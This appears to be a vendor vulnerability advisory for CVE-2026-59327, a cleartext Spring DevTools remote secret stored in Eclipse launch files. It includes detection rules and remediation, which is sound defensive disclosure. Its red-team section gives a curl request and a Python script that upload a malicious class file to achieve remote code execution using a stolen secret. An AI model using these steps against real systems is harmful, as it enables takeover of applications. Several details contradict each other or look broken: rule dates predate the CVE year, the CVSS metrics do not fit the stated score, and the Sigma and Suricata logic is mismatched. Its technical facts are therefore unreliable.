CVE-2026-59327
Executive Summary
CVE-2026-59327 exposes a critical design flaw in Spring Tools for Eclipse (versions ≤ 5.2.0). The IDE stores the spring.devtools.remote.secret — the sole authentication token for Spring Boot DevTools remote restart/reload — as a cleartext attribute inside Eclipse launch configuration XML files (.launch). These files persist unencrypted in workspace metadata or, when shared, directly in the project source tree — often committed to version control. An attacker with filesystem access, access to a backup, or read access to a VCS repository can extract the secret and use it to trigger remote code execution (RCE) on the target Spring Boot application via the DevTools endpoint. The vulnerability has a CVSSv3 base score of 4.4 (Medium) but the business impact can be severe if the secret is leaked into a shared repository.
Affected Technology Stack:
- IDE: Eclipse with Spring Tools plugin
- Target Framework: Spring Boot (applications running with DevTools remote enabled)
Risk Profile:
- Confidentiality: Low (secret disclosure)
- Integrity: Low (can lead to RCE)
- Availability: Low (restart may cause denial of service)
- Attack Vector: Local filesystem or VCS compromise; network if shared.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Local (L) | Secret extracted from local files or VCS backup; not directly network exploitable but propagation via VCS wide. |
| Attack Complexity (AC) | Low (L) | Simple file read operation; no special conditions. |
| Privileges Required (PR) | Low (L) | Attacker needs read access to the .launch file (may be same as normal dev user). |
| User Interaction (UI) | None (N) | No user action required once file is accessible. |
| Scope (S) | Unchanged (U) | Secret remains within the same security authority. |
| Confidentiality (C) | Low (L) | Only the secret value is exposed. |
| Integrity (I) | Low (L) | Secret can be used to inject arbitrary class bytes. |
| Availability (A) | Low (L) | Remote restart can cause service disruption. |
| Base Score | 4.4 | Medium severity according to NVD. |
Threat Level: Medium – exploitation requires prior filesystem or VCS access, but the RCE potential elevates the risk in cloud or CI/CD environments where secrets are shared broadly.
Deep Dive & Mechanics
Spring Boot DevTools provides a remote debugging and hot-reload feature. To secure the remote endpoint, a shared secret (spring.devtools.remote.secret) must be present on both the client (IDE) and server (application). The IDE stores this secret in the launch configuration attribute spring.devtools.remote.secret as a plain string.
Eclipse persists launch configurations in two ways:
- Local metadata – stored in
.metadata/.plugins/org.eclipse.debug.core/.launches/<config>.launchinside the workspace directory. - Shared project file – if the user selects "Shared file" option, the
.launchfile is placed directly in the project tree (e.g.,<project>/.launch/<config>.launch), making it eligible for version control commits.
The .launch file is an XML document. The secret appears as:
<stringAttribute key="spring.devtools.remote.secret" value="plaintext_secret"/>
An attacker who can read this file (via local filesystem, backup, or VCS) obtains the secret. They then craft an HTTP request to the Spring Boot application's DevTools endpoint (typically /actuator/restart or the raw Remote Debug endpoint on a custom port like 35729) with the secret as a header or parameter, and send a serialized class file to achieve RCE.
Root Cause: Insecure storage of a cryptographic credential. The IDE should have used the Eclipse Secure Storage (e.g., org.eclipse.equinox.security) to encrypt the secret, or at least warned the user against storing it in shared configurations.
Vulnerable vs. Patched Code
No official patch exists as of this analysis. The following mitigation strategy is recommended:
Vulnerable Behavior (Spring Tools ≤ 5.2.0)
- The secret is stored as a plain XML attribute with no encryption.
- No warning when marking configuration as shared.
Required Fix (conceptual)
- Use Eclipse secure storage to encrypt the attribute value.
- Display an explicit warning if the user attempts to share a launch configuration containing a secret.
- Add a preference to disable remote secret storage entirely.
Example of a secure storage implementation (pseudo-code):
// Instead of:
config.setAttribute("spring.devtools.remote.secret", secret);
// Use:
ISecurePreferences prefs = SecurePreferencesFactory.getDefault();
prefs.put("spring.devtools.remote.secret", secret, true); // encrypted
Until an official fix is released, users must manually remove the secret from launch configurations and store it externally (e.g., environment variables).
Exploitation & Lab Setup
Red Team: Attack Scenario
Reconnaissance
- Locate
.launchfiles containing the stringspring.devtools.remote.secret. - Examples: search for
*.launchin workspace, project tree, or VCS history (e.g.,git log -p -S "spring.devtools.remote.secret").
- Locate
Extract Secret
- Parse the XML and extract the
valueattribute.
- Parse the XML and extract the
Leverage the Secret
- Identify the target Spring Boot application (e.g., from the launch configuration
hostandport). - Use a tool like
curlor a custom Python script to interact with the DevTools endpoint.
- Identify the target Spring Boot application (e.g., from the launch configuration
Example Exploitation Command (assuming remote endpoint on http://target:8080):
# Send a restart command (if secret is required as header)
curl -X POST http://target:8080/actuator/restart \
-H "X-DEVTOOLS-REMOTE-SECRET: <extracted_secret>" \
-H "Content-Type: application/json" \
-d '{}'
# For full RCE, craft a serialized class file and send it to the DevTools remote upload endpoint (typically port 35729)
# Python script to send a malicious class file
import requests
url = "http://target:35729/org.springframework.boot.devtools.remote.server.TargetServerConnection"
headers = {"X-DEVTOOLS-REMOTE-SECRET": "<extracted_secret>"}
with open("malicious.class", "rb") as f:
files = {"file": f}
requests.post(url, files=files, headers=headers)
- Achieve RCE
- The DevTools server deserializes the class and executes it, giving the attacker arbitrary code execution in the context of the Spring Boot application.
Lab Setup
- Install Eclipse with Spring Tools ≤ 5.2.0.
- Create a Spring Boot application with
spring.devtools.remote.secretset inapplication.properties. - Configure a Remote Spring Boot DevTools client launch configuration and save it as a shared file.
- Simulate attacker: read the
.launchfile, extract secret, use the above script against the running app.
Blue Team: Detection & Prevention
Prevention:
- Never share launch configurations containing secrets. Use environment variables or vaults.
- Update Spring Tools to a version higher than 5.2.0 (if available).
- Configure Git hooks to prevent committing files with
spring.devtools.remote.secret. - Restrict filesystem access to workspace metadata.
Detection:
- Monitor for
.launchfiles being accessed by non-IDE processes. - Scan VCS repositories for the string
spring.devtools.remote.secret. - Alert on network connections to Spring Boot DevTools endpoints (port 35729 or
/actuator/restart).
- Monitor for
Indicators of Compromise (IOCs)
File Artifacts
- Filenames matching
*.launchcontaining the attributespring.devtools.remote.secret. - Workspace path:
.metadata/.plugins/org.eclipse.debug.core/.launches/ - Project shared path:
<project>/.launch/or any.launchin project tree.
Secrets in Plaintext
- Pattern:
spring.devtools.remote.secretin XML files or in VCS history.
Network Indicators
- HTTP requests to endpoints such as
/actuator/restart,/actuator/shutdown, or raw TCP connections to port35729. - Presence of
X-DEVTOOLS-REMOTE-SECRETheader.
Process Indicators
- Unusual
curlor Python requests to Spring Boot application endpoints from non-developer machines.
Detection Engineering
YARA Rule (File Detection)
rule spring_devtools_secret_leak {
meta:
description = "Detects Eclipse launch configuration files containing Spring DevTools remote secret"
author = "Valters IT"
date = "2025-02-10"
cve = "CVE-2026-59327"
severity = "medium"
strings:
$secret = "spring.devtools.remote.secret" ascii wide
$xml_tag = "<stringAttribute" ascii wide
condition:
$secret and $xml_tag and (
uint32be(0) == 0x3C3F786D // <?xml
or uint32be(0) == 0x3C21646F // <!doctype
or filename matches /\.launch$/i
)
}
Note: Backslashes in YARA strings are not present; forward slashes used as needed.
Sigma Rule (Process Creation & File Access)
title: Spring DevTools Secret Leaked in Launch Configuration
id: 6b3f8c2a-9e1d-4f7b-8a5c-0d3e6f9b2a1c
status: experimental
description: Detects processes reading Eclipse .launch files containing the spring.devtools.remote.secret attribute.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-59327
author: Valters IT
date: 2025-02-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains: '.launch'
TargetFilename|contains: 'spring.devtools.remote.secret'
condition: selection
fields:
- TargetFilename
- Image
falsepositives:
- Legitimate IDE reading its own configuration files
level: medium
Suricata Rule (Network Detection)
alert tcp $HOME_NET any -> $HOME_NET 35729 (msg:"Spring DevTools Remote Secret Usage"; flow:to_server; content:"X-DEVTOOLS-REMOTE-SECRET"; http_header; sid:1000001; rev:1;)
This rule detects any outbound connection to port 35729 (common DevTools remote port) containing the secret header. Adjust port as needed based on typical DevTools configuration.
Remediation & Mitigation
Immediate Action:
- Delete all
.launchfiles containing the secret from workspace and VCS. - Rotate the secret on all affected Spring Boot applications.
- Use environment variables or encrypted vaults to store the secret.
- Delete all
Long-term Fix:
- Update Spring Tools for Eclipse to a version > 5.2.0 when available.
- Apply workaround: manually encrypt the attribute using Eclipse secure storage API (requires plugin modification).
- Enable two-factor authentication or IP allowlisting for DevTools endpoints.
Policy & Process:
- Implement pre-commit hooks to block files containing the pattern.
- Educate developers to avoid storing secrets in IDE configurations.
- Regularly scan workspaces and VCS histories for exposed secrets.
Valters IT — Cyber Threat Intelligence & DevSecOps Advisory